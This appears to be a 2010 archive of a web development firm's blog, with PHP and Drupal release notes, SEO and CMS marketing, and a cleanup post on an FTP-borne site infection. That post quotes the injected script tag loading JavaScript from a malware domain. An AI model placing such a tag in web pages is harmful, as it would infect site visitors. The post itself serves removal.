Archive for July, 2010

PHP 5.3.3 Released!


By http://in3.php.net/

The PHP development team would like to announce the immediate availability of PHP 5.3.3. This release focuses on improving the stability and security of the PHP 5.3.x branch with over 100 bug fixes, some of which are security related. All users are encouraged to upgrade to this release.

Backwards incompatible change:

  • Methods with the same name as the last element of a namespaced class name will no longer be treated as constructor. This change doesn’t affect non-namespaced classes.
  • <?php
    namespace Foo;
    class Bar {
        public function Bar() {
            // treated as constructor in PHP 5.3.0-5.3.2
            // treated as regular method in PHP 5.3.3
        }
    }
    ?>

    There is no impact on migration from 5.2.x because namespaces were only introduced in PHP 5.3.

Security Enhancements and Fixes in PHP 5.3.3:

  • Rewrote var_export() to use smart_str rather than output buffering, prevents data disclosure if a fatal error occurs (CVE-2010-2531).
  • Fixed a possible resource destruction issues in shm_put_var().
  • Fixed a possible information leak because of interruption of XOR operator.
  • Fixed a possible memory corruption because of unexpected call-time pass by refernce and following memory clobbering through callbacks.
  • Fixed a possible memory corruption in ArrayObject::uasort().
  • Fixed a possible memory corruption in parse_str().
  • Fixed a possible memory corruption in pack().
  • Fixed a possible memory corruption in substr_replace().
  • Fixed a possible memory corruption in addcslashes().
  • Fixed a possible stack exhaustion inside fnmatch().
  • Fixed a possible dechunking filter buffer overflow.
  • Fixed a possible arbitrary memory access inside sqlite extension.
  • Fixed string format validation inside phar extension.
  • Fixed handling of session variable serialization on certain prefix characters.
  • Fixed a NULL pointer dereference when processing invalid XML-RPC requests (Fixes CVE-2010-0397, bug #51288).
  • Fixed SplObjectStorage unserialization problems (CVE-2010-2225).
  • Fixed possible buffer overflows in mysqlnd_list_fields, mysqlnd_change_user.
  • Fixed possible buffer overflows when handling error packets in mysqlnd.
  • Key enhancements in PHP 5.3.3 include:

    • Upgraded bundled sqlite to version 3.6.23.1.
    • Upgraded bundled PCRE to version 8.02.
    • Added FastCGI Process Manager (FPM) SAPI.
    • Added stream filter support to mcrypt extension.
    • Added full_special_chars filter to ext/filter.
    • Fixed a possible crash because of recursive GC invocation.
    • Fixed bug #52238 (Crash when an Exception occured in iterator_to_array).
    • Fixed bug #52041 (Memory leak when writing on uninitialized variable returned from function).
    • Fixed bug #52060 (Memory leak when passing a closure to method_exists()).
    • Fixed bug #52001 (Memory allocation problems after using variable variables).
    • >Fixed bug #51723 (Content-length header is limited to 32bit integer with Apache2 on Windows).
    • Fixed bug #48930 (__COMPILER_HALT_OFFSET__ incorrect in PHP >= 5.3).

    For users upgrading from PHP 5.2 there is a migration guide available on http://php.net/migration53, detailing the changes between those releases and PHP 5.3.

    For a full list of changes in PHP 5.3.3, see the ChangeLog.

    Garve Technologies is an industry leader in providing bespoke PHP development solutions. It has a team of qualified Joomla developers, WordPress developers and Drupal developers who have solid experience in open source CMS development. Please contact us for more details.

    Read at source

    Website attached by “pantscow.ru” ?


    There is new malware in cyber. If Browsers like Chrome, Mozilla blocks your website

    and showing following massage

    Warning: Visiting this site may harm your computer!

    The website at http://www.yourdomain.com contains elements from the site pantscow.ru, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer.

    For detailed information about the problems with these elements, visit the Google Safe Browsing diagnostic page for pantscow.ru.

    This is malware comes from your FTP; When you connect your Website through infected PC via any FTP client your site gets attached.

    It affects “index” pages and “JavaScripts”

    How to get rid of this?

      1. Change “Password” of your FTP urgently  
      2. open your index files (.html, .asp, .php, etc) and .js files. Go to the bottom of the page you will find the piece of code …. just delete this; and upload those files again

          <script type="text/javascript" src="http://pantscow.ru:8080/Quad-Core.js"></script&gt; <!—ee311b4bc3e441337923f04df3aad248—>

    I hope this will helps you to get a rid of this.

    Drupal: The Perfect CMS Solution


    If you are looking for a versatile CMS software which can be used for any purpose such as a corporate website, a personal website, aficionado sites, social networking site, a gallery, a portal or a simple web property for any specific internal purpose; keeping the functionality simple to handle and maintain then, Drupal is the software which is just meant for you.

    Using Drupal is easy. Being an open source CMS, i.e. its source code can be rendered easily without any fee is in wide demand. Of course, if you want some customization, which everyone needs, then you will be required to hire a company providing Drupal services. You can purchase various themes, modules, extensions and other specific components that are required to provide you a complete website; full of features and desired functionalities.

    Like every other software, Drupal is also written in certain specific coding language and that is, PHP. It is friendly to almost all operating systems such as Windows, MAC, Linux and others. Its database system is MySQL. MySQl is used for storage purpose in Drupal.

    Similar to the other CMS software, even Drupal has its own naming conventions. For example, a ‘node’ is referred to ‘page’ or ‘story’ which is predefined content types in Drupal. This is not all the flexibility of this software allows you to define your own naming conventions. Due to its flexibility and friendliness in developing a web property of your own choice is not at all impossible. The only thing required is your technical knowledge about the software.

    Since, the use of Drupal can ask for heavy resources that is why, it is advisable to use dedicated server, in case, your website is expected to be flooded by traffic. But if your website is not that big and hosts moderate amount traffic then, you can use shared hosting as well.

    Operating the admin panel is not that difficult and you can easily manage the content of your website. Uploading videos, audios, publishing posts, text, contents are the few of the activities which can be handled easily and does not require any technical knowledge. The only difficulty appears while installing the software and integrating it with your web site. But you can hire any Drupal service provider or a company and resolve this problem.

    There can be complexity for non technical person during its installation, but it can be avoided by taking help from videos or tutorials. Or the best way is, if you are planning to prepare a professional website, hire a company which provides Drupal services.

    Garve Technologies is an industry leader in providing bespoke CMS development solutions. It has a team of qualified Joomla developers, WordPress developers and Drupal developers who have solid experience in open source cms development. Please contact us for more details.

    Read at source

    CakePHP- Make PHP development easy.


    CakePHP web development is truly beneficial in creating swift and robust applications. Most mesmerizing features of CakePHP are that it is completely matched with PHP4 and PHP5. In today’s online business open source products have become highly admired because by using them, the developers can create dynamic websites with a great ease. By CakePHP you can get those tailor solution, which you are seeking to match the requirement of your business. CakePHP application development comes as a fresh wind, which allows the developers to save a lot of time due to its specification and well designed instruments. On the other hand by using CakePHP you can easily and instantly create Ecommerce sites, which usually come with a cart of shopping. It is not only capable in providing swift programming but also can render debugging solutions, generate code via Bake etc.

    CakePHP web application development has paved a new way in structural designs for deploying, maintaining and developing applications. It increases the capacity of well structured procedure so that it becomes able to work in PHP. The main and most emphasizing feature of CakePHP is its MVC architecture that stands for Model View Controller Architecture. MVC can basically be divided into three parts: Model, View and Controller. Model stands for data that is accessed by various set of rules. It responds in input state and in queries. View can be defined as the output state that allows the model to be further modified and the controller invokes changes as the outcome of input process in the model.

    CakePHP application development is gaining popularity as it scores over session handling and security measures. CakePHP framework is extremely easy to understand and is extremely compatible with both PHP4 and even with PHP5. CakePHP framework is preferred by most of the programmers and developers as it offers a wide range to tools for effective data validation. As it comes under MIT license, CakePHP framework can be obtained by anyone without having to pay a single penny. Hence, opting for this framework not only guarantees a faster pace but also ensures a considerable reduction in the application development costs.

    Read at source

    Search Engine Optimisation Analysis (SEO) required for your Website?


    By: Charlie

    You can find that the more you know about how your web site is doing online, the better you can improve it. One of the best ways to really know how your web site is doing is by using a free search engine optimisation analysis. With the free service, you can have the professionals review your web site and see what areas are working well with search engine optimisation, and which you should change to help improve how you are getting listed with search engines and do better.

    Getting a free search engine analysis for your website can help you determine what kinds of things you are going to have to change to help improve your listings. It could be a few minor things that you can change that will help make a big difference in how your website is listed. Knowing what these things are can greatly improve how your website does. You may be able to find that there are more ways to use search engine optimization that you had not been using.

    When you are able to see what the professionals suggest that you do to improve the content that you have, and the links that you create, you are able to see the improvements. It can be difficult to try and get everything right when you do it yourself, and if you have not worked on websites before, you may not be aware of everything that you can do. It is best to try and learn ways that you can be using your content and links to get more hits online. With the services that you can use that will give you a free analysis; you are able to see what you can do to start seeing the listings that you need.

    Getting listings that are high in the search engines is important. If your website is not at the top of the listings, people are not going to see you, and they are not going to be able to find your website. Getting to the top of the listings takes some time, but the more that you work with the services available, and get familiar with how to use the information from your free search engine optimisation analysis, you are able to work your way higher.

    It still can be a while before you really start to see the people to your website increasing. Search engine optimization takes a while to build and it takes a while for the search engines to get your website listed. If you want to make the top of the listings, you can help by using the search engine optimization that is suggested by the analysis. If you have not been able to find better ways to use your content and links to appeal to people, the analysis is able to help you find the best ways to reach the people that you need. Targeting groups of people online through your links is one of the best ways to see more people to the website.

    Using the right keywords is also important. If you are using the best keywords that you can, you will see that it can help the listings that you get with the search engines and improve the amount of people that come to your website. If you are not using enough keywords, or if you are using them incorrectly, you may not be listed by the search engines. It is helpful to know what keywords are working for you, and which ones are not so that you know what you have to change.

    The keywords that you use can make a difference in how people are able to find your website. The more links that you place online that contain the keywords, the more that they will be found when searched. One of the best ways to find out what you should be using for keywords is to get the free search engine optimisation analysis. Once you have the information that you need to start, you can choose the right keywords to use, and find the right places online to place them in links.

    You also need to be able to monitor how your website is doing. If you are not sure how each of the keywords that you are using is doing online, you will not be able to see how they are going to help you. Tracking is important and the tools that you need to use are available online.

    At Garve Technologies we have dedicated SEO team, We are expert in Search Engine Optimization. For more details please visit here

    “Title Page” – The Best SEO Practice


    SEO Title Page – As most folks know, one of the things search engines examine is your Page Title, and also the filename of the page (like white-tennis-shoes.html for example), to help them figure out what your page is about, so that they can serve it up to somebody looking for just that thing.

    As far as search engine optimization (SEO) goes, a file or page name like this_is_a_file_name.htm will appear as one word to search engines like thisisafilename. So its unlikely it’ll be picked up in searches.

    However, if you use hyphens instead of underscores like this-is-a-better-file-name.htm search engines will read it as this is a better file name thereby greatly increasing readability and search ability.

    Here are some tips on SEO page tittles:

    Google shows the first 60 to 70 characters in the search results. Make sure your important keywords occur early in the page title for scan-ability. If your title goes beyond 70 characters Google may cut off the title before 69 characters and display … at the end of your page title.

    Rather than making your page title just the keyword and/or starting your page title with the keyword, sometimes it helps to add in a descriptive modifier before your core keyword. This helps ensure your page is less likely to get filtered out of the search results (and thus makes your rankings more stable) while helping you rank for additional terms.

    Page titles are used to draw in clicks from search results amongst many anonymous competing offers, thus they present an opportunity to differentiate yourself from the competition and qualify prospects to your offer. Good titles evoke an emotional response, ask a question, or promise something (that the landing page fulfills).

    Since the page title is one of the few elements search engines can show searchers before sending them to your site, they place significant weight on the words in the page title. In addition, some people link to pages using their official page title as the link anchor text.

    Page titles should be differentiated from page to page on your site. Unless limited by the size and scope of your site, it is best not to have all your page titles follow the exact same formula across your site. You also should not use the same keyword at or near the start of every page title. The format, order, and word selection of the words in your page title should be (at least slightly) different than the words in your meta description and on page headers.

    If you have a strong brand you may want to place it at the end of your page title. If you have one of the leading trusted Internet brands (Amazon, eBay, etc.) then it might make sense to place your brand at the start of the page title. In most cases the page title should still be more focused on the page copy and searcher’s intent than on your brand.

    Search engine are becoming better and better at listing the best sites at the top of the search results and at weeding out sites that employ shady tactics. Focus on building great content first. Success tends to follow.

    Read at source

    At Garve Technologies we have dedicated SEO team, We are expert in Search Engine Optimization. For more details please visit here

    Designing an Effective Website


    Learning how to design effective websites is definitely a skill that requires a little bit of trail and error. No one can create an effective web design in their first try as there are many different factors that need to be considered before you can even think your designing process is complete. A true web design company is the one that designs customer-centric websites. The customer and online visitors are the most important thing to remember as they are the ones who will be using your website and are possibly looking to purchase your product, catering to them is what provides you with success.

    First and foremost you want your site to be easy to navigate. If your customers cannot find what they are looking for and cannot figure out what you are trying to sell than you have not created an effective website design. Follow some of these easy tips below to get your new website on the right track.

    Go through to your competitor’s websites and see what types of designs they are using. This is not giving you permission to copy anyone’s website it is just a way to get your mind working and start the ideas flowing. When you see how others are using their web designs you can see their failures and their unique successes and try and take your own spin on these different features.

    You may think that the last thing people want to do online is read, but the fact is they want to know what they are buying before they buy it and if your site does not have enough information on it; odds are they will not buy. This is a great feature for any webs design as you can not only provide your customers with information but you can use keywords to get higher rankings throughout this content as well.

    You must think ahead to the type of web hosting you are going to use and make sure your website is not exceeding the sizes available through shared hosting packages.

    Clear and crisp images and colors is a great way to get your customer’s attentions. There is nothing better than a professional looking web design to make your customers feel comfortable in your product as they are already impressed with your website.

    As you can see designing an effective website is not how you think it should be; creating the cool and fun flash images everyone loves. You have to make the website easy to navigate and more importantly great converting. If your customers can’t find their way through your website than you are not going to be successful and you will know this only a few days after you launch your site whether your web design was successful or not.

    Take the time to plan out your website; although you can always change it later, getting it right the first try is possible when you take the time to plan out each and every detail. It does make a difference where the buy links are on the page and how big the header is and how much content there is on the homepage. All of these details make a difference in a successful web design. Website Development can seem like an overwhelming task but there are specialized and experienced web development companies on the web today that can help you get started and share their tips with you during creation. There is no one way to create a website, but there are certain marketing and design techniques that should be followed in order to create a website that converts right off the bat.

    Our web design solutions include:

    Ecommerce Website Design: Sell your products/services/events online using custom built shopping cart based website or integrate a shopping cart with your existing site.

    Flash Website Design: Beautiful websites and intro pages designed using Flash.

    Corporate Website Design: Holistic website design solutions with original style, dynamic backend, clear graphics, robust databases and search engine.

    CMS (Content Management System) Website Design: Easy to use backend for publishing content on the website, you can maintain your website content with ease, never letting it get obsolete due to technical difficulties.

    At Garve Technology we are expert at Web Designing and we work in major Framworks. Please contact us for more details.

    Commonly used Tools – used by PHP Developers


    One of the most interesting scripting languages as opined by the community of PHP developer in India is PHP. However what makes the language so easy and interesting is its ability to allow PHP developers create web applications with many different features. Here it is also important to note that using PHP efficiently would not have been possible without PHP tools.
    So which are these tools which a PHP developer in India uses to develop optimum web applications? PHP tools are divided into different categories like tools for image manipulation and graphs, testing and optimization, version control systems, documentation, Firefox add-ons, In-browser tools, security tool, Frameworks, IDEs and editors, Debugging and code beautifier.

    Webgrind: It is a debugging tool developed by Joakim Nygård and Jacob Oettinger. Webgrind installs in a few seconds and is cross platform compatible. A PHP developer in India needs to download it into the browser to start using it.

    PHP/SWF Charts: It is an excellent PHP tool for image manipulation and graphs. Using this PHP developers can beautifully convert dynamic data into charts and graphs. To do this you need to transfer data from the databases through PHP scripts to the PHP/SWF charts.

    Simpletest: PHP developers uses this tool for testing and optimization. It is called simple because its writers indeed thought that it made testing easier. You will find here a combination of features often seen in JUnit and PHPUnit.

    Phing: It is a type of version control system used by PHP developers and its working is based on Apache Ant. There is nothing that the tool cannot do when compared to our very own traditional GNU. It features like XML build files, extensible PHP "task" classes and high flexibility make it very easy to use. PHP developers can do file transformations, run PHPUnit file system operations and CVS/SVN operations.

    Minify: An excellent app for PHP5 is Minify. PHP developer in India can use it to combine multiple CSS, remove extra comments and whitespace as well as to serve gzip encoding and optimal client side cache headers. By using Minify one can easily develop a web site in compliance with Yahoo’s rules.

    FirePHP: It makes it easy to enter data in Firebug. FirePHP helps a PHP developer to work smoothly without worrying about the error as it has the ability to change error, exceptionally handle fly and enter errors into the firebug console.

    PHPEclipse: It is one of the best known PHP open source code editors and runs on probably all major operating systems like Windows, Mac OS and Linux. It has the ability of code folding, giving hover-over tool tips and syntax highlighting. The best part is that it supports DBG and XDebug.

    PHP Frameworks: There are many framework known for its high performance among PHP developers. Many developers Use Symfony, CodeIgniter, Zend, Yii, and CakePHP. It efficiently backs caching, MVC, I18N/L10N, DAO/ActiveRecord, jQuery-based AJAX support and authentication. PHP developer can use it for developing role based access control, input validation, scaffolding, events, Web services and theming.

    At Garve Technology we are expert at PHP Development and we work in major Framworks. Please contact us for more details.

    Web Development in India-Enhancing Your Business


    Web development in India enables you to indulge into online marketing and business. by designing your website in the most effective way it allows your company to complete the leading companies in the business world. Skilled workforce and the motivation towards work is the reason why outsourcing web development has become so popular. Today when internet is the key to successful business, it is essential that every company has a website to advertise itself to the mass in general. The website should be well designed using efficient tools and advanced techniques. The service of a web development company will provide safety and security by giving it proper codes. Website development involves designing of a web application framework making the web working process smoother and easier

    Web development in India expertise lies in development of any kind of website. The web developers, including highly efficient and professional engineers provide the best services within the deadline. But make sure the company is a trustworthy one. For hiring an efficient web development company you just need to surf internet and find out the company which is suitable for your website. a positive image website image can only build in traffic for your company.

    SEO in India is an important part of web development in India as optimizes a website to be search engine friendly. Only if the website of your company is ranking high in the search engine list, the website visitors will go through your website and deal with you. The SEO services involves good researching, proper selection of key words, using Meta tags etc.

    PHP is a language used for web development and works on a on a web server. PHP code is the input which helps in creating the web page. Also it renders help in data management systems and PHP can be used on almost all the operating systems like Microsoft windows, Linux, MAC OS X or a wide variety of other OS’s.  The common uses of PHP development are for web development process and it can also be imbedded to HTML. It can be used by the new programmers as well as the highly advanced ones.

    For web development one should have proper knowledge and should be able to negotiate the codes appropriately. Using PHP development is easy if you have all this knowledge and hence there is maximum output. Hire the best company of Web Development in India and earn a good name for your company.

    (ArticlesBase SC #2876500)

    Article Source: http://www.articlesbase.com/Web Development in India-Enhancing Your Business

    Drupal 7.0 Alpha 6 released


    by webchick

    Drupal 7 alpha version was released a little over a month ago. Drupal announce the release of the sixth (and hopefully final) alpha version of Drupal 7.x for your further testing and feedback. The first alpha announcement provided a comprehensive list of improvements made since Drupal 6.x, so in this announcement we’ll concentrate on how you can help ensure that Drupal 7 is released as soon as possible and is as rock solid as the previous Drupal releases that you’ve grown to love!

    This release includes many critical bug fixes, a nearly working upgrade path, and a new default core theme: Bartik!

    Please see the release notes for more details.

    When will alpha become beta?

    We have identified several "beta blocking" issues, and itemized these at the Drupal core community initiatives page. On or about August 1, 2010 (or when the upgrade path is working, whichever comes first) we will create a new official Drupal 7 release. If this list is fixed, it will be a beta release. Otherwise, it will be another alpha release. It’s expected we will have a few beta versions and at least one release candidate before Drupal 7.0 is finalized. We can potentially reach beta within the next month by focusing on this short-list of issues! Please help!

    Updating from previous versions

    While we do not support 7.x => 7.x upgrades yet (that happens in beta 1), the upgrade path from 6.x => 7.x is actually working reasonably well right now. We need people to test this like crazy! But please note that there are still known security issues in Drupal 7, so alphas should be installed for testing only.

    Always make backups of your data and never do testing on your live site to make sure you keep all of your information intact even if something goes wrong.

    So when does 7.0 get released?

    The release version of Drupal 7.0 will be ready after (a) there are no more critical bugs and (b) we’ve had at least one release candidate (RC) without adding any more issues to the list.

    When will that be? Well, it depends entirely on how many people chip in and help out! The more people help, the faster we can find and fix bugs, and the faster 7.0 gets released. The faster 7.0 gets released, the faster we can start adding new features to Drupal 8.0. So help out where you can, and let’s make this the best and most solid release of Drupal yet! 🙂

    How do I help test the alpha?

    Start by either installing a new Drupal site or upgrading an existing one running on a previous version (see INSTALL.txt or UPGRADE.txt in the package). When setting up a new site, you can use the Development module to generate some test data (content, users, etc) to help you start testing quickly. As with everything still in development, we do not recommend running pre-releases on a live site. Also, always make sure to backup of your data before performing an upgrade or start testing.

    New Drupal Users

    Are you completely (or relatively) new to Drupal? Or do you know just enough to be dangerous? Are you used to working with other content management systems and willing to lend your perspective in improving the way Drupal works? If so, you’re a perfect candidate to help with usability testing and improving documentation! As you’re going through Drupal 7, take notes on things you find difficult or confusing, and translate those notes into an issue which will show up in the issue tracker. Make sure to be as clear as possible about what the problem was and provide suggestions on how to improve it — this makes it easier for developers to help!

    You can also help by testing the D7 Install Guide and noting any mistakes on the issue for this.

    Testers

    Do people often congratulate you on your ability to break things? Are you a creative individual who likes to experiment in unconventional ways to see what happens? Do you enjoy looking over other peoples’ work and picking nits in order to make it as good as it possibly can be? If any of these apply to you, you could make a great tester! We need testers both to try out different aspects of Drupal itself, as well as take a look at the issue queue, checking bugs to see if they’re valid and testing patches to verify they work properly. Read more about setting up a testing environment and applying patches.

    Module and theme developers

    There is no better way to shake out any lingering bugs with the API and to ensure that your modules and themes will work with the new version of Drupal than to update your modules and update your themes! Make sure to file any bugs that you find! And try coding some upgrade routines to help make the process smoother for the next person!

    Drupal Ninjas and Ninjas-in-training

    If you’re adept at Drupal hacking, or are eager to learn, a great place to start is with the bug tracker or the patch queue. Even if you don’t have a full solution for a problem, often even a step in the right direction can be enough for another developer to take it home! Read up onhow to create patches.

    Drupal interface translators

    The interface strings of Drupal 7.0 are mostly frozen. The days of major changes to the UI strings are over, but we still are changing texts to fix bugs or to lend clarity in the interface. Around release candidate 1, a formal "string freeze" will be declared at which point it should be safe to start translating.

    Read at source